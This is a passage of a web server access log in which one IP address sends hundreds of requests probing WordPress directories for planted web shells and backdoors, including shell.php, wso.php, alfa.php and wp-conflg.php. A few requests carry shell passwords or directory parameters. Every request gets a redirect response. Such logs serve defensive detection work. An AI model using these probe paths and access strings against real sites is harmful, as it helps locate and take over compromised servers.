[18/Apr/2025:08:04:06 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:07 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:08 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:09 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:09 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:10 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:11 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:12 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:12 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:13 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:14 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:14 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:15 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:16 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:17 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:17 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:18 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:19 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:20 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:21 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:21 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:22 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:23 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:24 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:25 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:25 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:26 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:27 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:28 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:29 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:30 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:31 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:32 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:34 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:35 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:36 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:37 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:38 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:40 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:41 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:42 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:43 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:43 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:44 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:45 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:46 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:46 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:47 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:47 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:48 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:49 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:49 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:50 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:51 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:51 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:52 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:53 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:53 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:54 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:54 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:55 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:56 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:56 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:57 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:58 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:59 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:59 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:00 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:01 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:02 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:02 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:03 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:04 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:05 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:07 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:11 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:13 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:16 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:17 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:19 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:20 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:21 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:22 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:23 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:24 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:25 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:26 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:27 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:28 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:29 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:30 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:30 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:31 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:33 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:34 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:35 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:36 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:37 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:38 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:39 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:41 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:42 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:43 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:44 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:45 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:46 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:47 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:48 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:48 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:49 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:50 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:51 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:52 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:54 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:55 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:55 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:56 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:57 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:58 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:58 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:05:59 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:00 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:01 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:01 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:02 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:03 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:04 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:05 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:05 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:06 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:07 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:08 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:09 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:10 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:11 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:12 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:13 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:15 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:16 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:16 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:18 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:18 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:20 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:21 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:23 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:24 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:26 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:28 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:30 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:30 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:31 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:33 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:34 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:36 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:38 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:39 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:40 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:42 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:42 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:44 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:44 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:45 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:46 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:47 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:48 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:48 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:49 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:50 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:51 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:51 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:52 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:53 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:54 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:55 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:56 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:58 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:06:59 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:01 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:05 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:09 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:11 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:13 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:15 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:16 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:17 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:19 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:20 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:21 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:22 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:23 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:25 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:26 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:28 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:29 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:31 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:33 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:34 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:35 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:36 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:37 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:38 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:39 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:39 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:41 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:41 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:42 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:43 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:44 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:44 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:45 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:46 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:47 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:48 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:48 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:50 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:52 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:07:54 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 